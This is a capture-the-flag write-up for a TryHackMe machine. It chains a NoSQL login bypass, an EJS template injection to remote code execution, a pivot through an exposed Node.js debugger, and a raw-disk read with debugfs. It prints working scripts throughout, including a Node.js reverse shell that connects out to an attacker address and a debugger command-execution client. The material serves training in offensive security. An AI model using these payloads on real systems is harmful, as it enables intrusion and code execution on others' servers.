"Byte Lotus" is a poolside booking portal: a Node.js/Express front end on port 80, a
MongoDB-style document store behind it, and an OpenSSH service on 22. The box is a
TryHackMe machine reached over the VPN at 10.114.165.140. Getting in is a
chain of four independent flaws: a NoSQL authentication bypass, a Server-Side Template
Injection (SSTI) in an EJS "confirmation template" field, a pivot through a Node.js
debugger that a second service left listening, and finally a disk-group
membership that hands out the raw root filesystem. No password is ever cracked.
Concierge Briefing
Sign's on the door. Room's active. You have access you were never given, and so does he.
The anomalies stop being anomalies: a session goes warm on a sunbed, and a stranger sits down in it, a wallet signs a transaction its owner didn't authorise, a shell on the beach answers back. And it becomes clear that whoever's already inside has been moving for far longer than you have.
The Byte Lotus poolside platform tracks every cabana, every sunbed, every warm session. Byte Lotus never forgets. Someone is already inside. Follow his footprints in, climb the way he climbed, and recover both flags.
None. This is a boot2root box; there is no downloadable handout. Everything below is pulled from the remote target itself.
A single TryHackMe VM behind the VPN at 10.114.165.140. A full-port service
scan shows only SSH and the web app:
$ nmap -T5 -p- -sV 10.114.165.140
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
(Ubuntu Linux; protocol 2.0)
80/tcp open http Node.js (Express middleware)
A directory brute force against port 80 finds two application routes beyond the landing
page - a session /logout and a /staff area that answers 403:
$ dirb http://10.114.165.140/ .../common.txt
---- Scanning URL: http://10.114.165.140/ ----
+ http://10.114.165.140/logout (CODE:302|SIZE:23)
+ http://10.114.165.140/staff (CODE:403|SIZE:1547)
Conclusion: two open ports, no low-hanging service. The 403 on /staff
(as opposed to a 404) says the route exists and is role-gated - the app has user roles,
so the way in is the login form.
The landing page is a normal HTML form that POSTs to /login. Before attacking
it, read the field names off the page.
The Byte Lotus landing page: a plain POST form with fields username and password.
$ curl -s http://10.114.165.140/
<form method="post" action="/login">
<label>Staff / Guest ID</label>
<input name="username" autocomplete="off" placeholder="attendant">
<label>Passphrase</label>
<input name="password" type="password" autocomplete="off">
<button type="submit">Sign in</button>
</form>
Conclusion: a form-urlencoded POST with fields username and
password. The placeholder attendant and the label
"Staff / Guest ID" hint at named accounts and roles.
A login form is the classic place for SQL injection, so try the obvious auth-bypass payloads first, then let sqlmap confirm.
$ # tried in the form:
foo' or 1==1; --
foo' or 1=1; --
$ sqlmap -u http://10.114.165.140/login --data='username=foo&password=bar' --ignore-code=401
[*] neither 'username' nor 'password' seems to be injectable
Conclusion: not SQL. Note the --ignore-code=401: the endpoint answers
401 on a failed login, which sqlmap otherwise treats as "cannot reach target" and aborts
before testing anything. With SQL ruled out and an Express front end, the likely back end
is MongoDB - which means the injection to try is NoSQL, not SQL.
Express with urlencoded({ extended: true }) turns bracketed keys into nested
objects: password[$ne]=x arrives as { password: { $ne: "x" } }.
If that reaches the query builder unfiltered, the login stops asking "is the password
x" and starts asking "is the password anything other than x" -
which is true for every account. The username is pinned to attendant on
purpose: a bare username[$ne] too would log us in as whichever document the
store returns first (the guest account, role guest, still 403 on
/staff). Pinning the name selects the staff account explicitly.
$ curl -i -L -c staff.jar \
--data 'username=attendant&password[$ne]=x' \
http://10.114.165.140/login
<p class="sub">Signed in as <strong>attendant</strong>. Customise the guest
booking-confirmation message below.</p>
...
<textarea name="template">Dear <%= guest %>, your Byte Lotus cabana is confirmed.</textarea>
Conclusion: we are authenticated as attendant with the staff role, and
the staff.jar cookie jar holds a valid connect.sid session. The
staff page is a "confirmation template" editor - and it advertises EJS.
The staff console renders a user-supplied EJS (Embedded JavaScript) template. EJS does not
interpret templates, it compiles them to a JavaScript function and calls it - so if we
control the template rather than only the data fed into it, we control code. The canonical
probe is arithmetic: if 7*7 renders as 49, it is evaluated, not
echoed.
The staff "Cabana Desk": whatever goes in the template field is rendered server-side.
$ curl -s -b staff.jar \
--data-urlencode 'template=<%= 7*7 %>' \
http://10.114.165.140/staff/preview
<label style="margin-top:18px">Preview</label><pre>49</pre>
Conclusion: 49. Full server-side JavaScript execution in the Node
process. --data-urlencode is required so the % and =
in the payload are not mangled by the body parser.
Before firing a shell, read the app's own source to understand the login and the
environment. In the EJS scope require is not a global (it is module-local), so
reach modules through process.mainModule.require.
$ # template: <%= process.mainModule.require("fs").readdirSync(".") %>
app.js,node_modules,package-lock.json,package.json
$ # template: <%= process.mainModule.require("fs").readFileSync("app.js","utf8") %>
const Datastore = require('@seald-io/nedb');
...
app.use(express.urlencoded({ extended: true }));
app.use(session({ secret: 'byte-lotus-poolside', ... }));
async function seed() {
await db.insertAsync([
{ username: 'guest', password: 'sunshine', role: 'guest' },
{ username: 'attendant', password: crypto.randomBytes(18).toString('hex'), role: 'staff' },
]);
}
/* [ ... themed HTML view helpers omitted ... ] */
async function loginHandler(req, res) {
const username = req.body.username;
const password = req.body.password;
user = await db.findOneAsync({ username, password }); // <- unfiltered objects
...
}
function requireStaff(req, res, next) {
if (req.session.user && req.session.user.role === 'staff') return next();
return res.status(403).send(page('<h1>403</h1> ... Staff access only.'));
}
app.post('/staff/preview', requireStaff, (req, res) => {
rendered = ejs.render(req.body.template, { guest: req.session.user.username, ... });
});
Conclusion: the store is @seald-io/nedb (an in-memory Mongo-like
document store), which is exactly why 3.3 worked - findOneAsync({ username, password })
takes the raw request objects. The attendant password is 18 random bytes and
the database is re-seeded in memory on every boot, so there is nothing to crack here. The
way forward is code execution, not credential theft.
child_process via the same process.mainModule.require path gives
command execution. Confirm the identity, then upgrade to a proper reverse shell.
$ # template: <%= process.mainModule.require("child_process").execSync("id") %>
uid=996(poolside) gid=996(poolside) groups=996(poolside)
A reverse shell then comes from a Node.js payload (via revshells.com), with the same
process.mainModule fix so require resolves - see
revsh.sh in section 4. Catch it and upgrade the TTY:
$ ncat -l -p 9898
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ export TERM=vt220
poolside@tryhackme-2404:/opt/poolside$ cat /home/poolside/user.txt
Conclusion: interactive shell as the unprivileged service account
poolside, and the user flag. poolside has no sudo rights, no
interesting SUID binary and no useful group - the next move has to come from something the
machine is running.
Look at the process list for anything privileged or unusual, and at listening sockets.
$ ps -ef | grep -v '\['
UID PID ... CMD
root 590 ... /usr/sbin/cron -f -P
pipelin+ 597 ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside 600 ... /usr/bin/node app.js
$ ss -ltnp
LISTEN 127.0.0.1:9229 # node inspector, owned by pid 597
LISTEN 0.0.0.0:80 # our app (pid 600, poolside)
LISTEN 0.0.0.0:22
Conclusion: a second Node process, processor.js, runs as a
different user pipelinesvc and was started with
--inspect=127.0.0.1:9229 - it left the V8 debugger listening. The box name
"Do Not Disturb" is the hint: anyone who can reach that inspector runs code inside that
process. It is bound to localhost, but we are already on localhost.
The inspector speaks the Chrome DevTools Protocol (CDP) over a WebSocket. Its HTTP
endpoint hands out the WebSocket URL; a Runtime.evaluate call then runs
JavaScript - and therefore child_process - in processor.js's
context, i.e. as pipelinesvc.
$ curl -s http://127.0.0.1:9229/json
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/9032251c-5749-497c-afa3-0c526a74b53b",
"url": "file:///opt/pipelinesvc/telemetry/processor.js"
A small stdlib-only CDP client (cdp-exec.py, section 4) connects to that
WebSocket and evaluates process.mainModule.require('child_process').execSync(cmd).
Driven through the poolside shell it becomes a one-liner, pcmd.sh:
$ ./pcmd.sh id
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
Conclusion: code execution as pipelinesvc - and the prize is the group
list: 6(disk).
Membership in disk grants read/write on the raw block devices, which sidesteps
file permissions entirely: read any file straight off the partition with
debugfs. First locate the root device, then read the flag.
$ ./pcmd.sh 'mount | grep " / "; ls -l /dev/nvme0n1p1; which debugfs'
/dev/nvme0n1p1 on / type ext4 (rw,relatime,discard)
brw-rw---- 1 root disk 259, 2 /dev/nvme0n1p1 # root:disk, group-writable
/usr/sbin/debugfs
$ ./pcmd.sh '/usr/sbin/debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 2>/dev/null'
THM{r4w_d1sk_4cc3ss_w4s_t00_much}
Conclusion: the root filesystem is an ext4 partition owned root:disk
with group read/write, and pipelinesvc is in disk.
debugfs reads /root/root.txt directly off the device - no root
shell required, exactly as the flag text says.
The four helper scripts, as they actually ran.
rcmd2.sh - run one command as poolside through the EJS SSTI, base64-wrapped so quotes survive:
#!/bin/sh
IP=10.114.165.140
CMD='echo '$(echo "$*" | base64 )' | base64 -d | sh'
curl -s -b staff.jar http://${IP}/staff/preview --data-urlencode \
'template=<%= process.mainModule.require("child_process").execSync("'"$CMD"'") %>' \
| sed -n -e '/label style="margin-top:18px">Preview<\/label><pre>/,9999p' \
| sed 's,^.*label.*style.*margin-top.*Preview.*label.*pre.,,' \
| tail -r | tail -n +3 | tail -r
revsh.sh - the reverse shell payload (Node.js), with process.mainModule so require resolves:
#!/bin/sh
# via https://www.revshells.com -> node.js #2
IP=10.114.165.140
curl -s -b staff.jar http://${IP}/staff/preview --data-urlencode \
'template=<%= (function(){
var mod = process.mainModule,
net = mod.require("net"),
cp = mod.require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(9898, "192.168.128.17", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})(); %>'
cdp-exec.py - a dependency-free Chrome DevTools Protocol client; reads a shell command on stdin, runs it inside processor.js as pipelinesvc, prints the output:
import socket,base64,os,json,struct,sys
H='127.0.0.1';P=9229;PATH='/9032251c-5749-497c-afa3-0c526a74b53b'
cmd=sys.stdin.read()
key=base64.b64encode(os.urandom(16)).decode()
req=("GET %s HTTP/1.1\r\nHost: %s:%d\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
"Sec-WebSocket-Key: %s\r\nSec-WebSocket-Version: 13\r\n\r\n"%(PATH,H,P,key))
s=socket.create_connection((H,P)); s.sendall(req.encode())
r=b''
while b'\r\n\r\n' not in r: r+=s.recv(1)
def send(o):
d=json.dumps(o).encode();m=os.urandom(4);h=bytearray([0x81]);l=len(d)
if l<126:h.append(0x80|l)
elif l<65536:h.append(0x80|126);h+=struct.pack('>H',l)
else:h.append(0x80|127);h+=struct.pack('>Q',l)
h+=m;s.sendall(bytes(h)+bytes(b^m[i%4] for i,b in enumerate(d)))
def recv():
b1=s.recv(1)[0];b2=s.recv(1)[0];l=b2&0x7f
if l==126:l=struct.unpack('>H',s.recv(2))[0]
elif l==127:l=struct.unpack('>Q',s.recv(8))[0]
dd=b''
while len(dd)<l:dd+=s.recv(l-len(dd))
return dd
expr=("(function(){var cp=process.mainModule.require('child_process');"
"try{return cp.execSync(%s+' 2>&1',{encoding:'utf8'})}"
"catch(e){return String(e.stdout||'')+String(e.message||e)}})()"%json.dumps(cmd))
send({"id":1,"method":"Runtime.evaluate","params":{"expression":expr,"returnByValue":True}})
while True:
msg=json.loads(recv())
if msg.get('id')==1:
print(msg.get('result',{}).get('result',{}).get('value',json.dumps(msg))); break
pcmd.sh - glue: base64 a command, feed it through the poolside SSTI into the CDP client, run it as pipelinesvc:
#!/bin/sh
# pcmd CMD... - run a command as pipelinesvc via the node --inspect debugger
C=$(printf '%s' "$*" | base64 | tr -d '\n')
./rcmd2.sh "echo $C | base64 -d | python3 /tmp/cdp-exec.py"
$ # 1) NoSQL bypass -> staff session
$ curl -s -c staff.jar --data 'username=attendant&password[$ne]=x' http://10.114.165.140/login >/dev/null
$ # 2) EJS SSTI -> code execution as poolside
$ ./rcmd2.sh id
uid=996(poolside) gid=996(poolside) groups=996(poolside)
$ # 3) reverse shell + user flag
poolside@tryhackme-2404:~$ cat /home/poolside/user.txt
THM{w4rm_s3ss10n_h1j4ck3d}
$ # 4) pivot through the Node inspector to pipelinesvc
$ ./pcmd.sh id
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
$ # 5) disk group -> debugfs -> root flag
$ ./pcmd.sh '/usr/sbin/debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 2>/dev/null'
THM{r4w_d1sk_4cc3ss_w4s_t00_much}
| # | Stage | Mechanism |
|---|---|---|
| 1 | NoSQL auth bypass | Express extended body parsing turns password[$ne]=x into
{ $ne: "x" }; NeDB's findOneAsync takes it unfiltered, so any
password matches. Username pinned to attendant to land the staff role. |
| 2 | EJS SSTI | The staff "confirmation template" is rendered with ejs.render(userInput).
A template is compiled to JS, so <%= 7*7 %> proves execution and
process.mainModule.require("child_process") gives RCE as
poolside (user flag). |
| 3 | Inspector pivot | A second service, processor.js, runs as pipelinesvc with
--inspect=127.0.0.1:9229. A CDP Runtime.evaluate over the
debugger WebSocket runs code as pipelinesvc. |
| 4 | disk group -> root | pipelinesvc is in group disk, which can read the raw
/dev/nvme0n1p1 ext4 partition. debugfs -R "cat /root/root.txt"
reads the root flag off the device without ever being root. |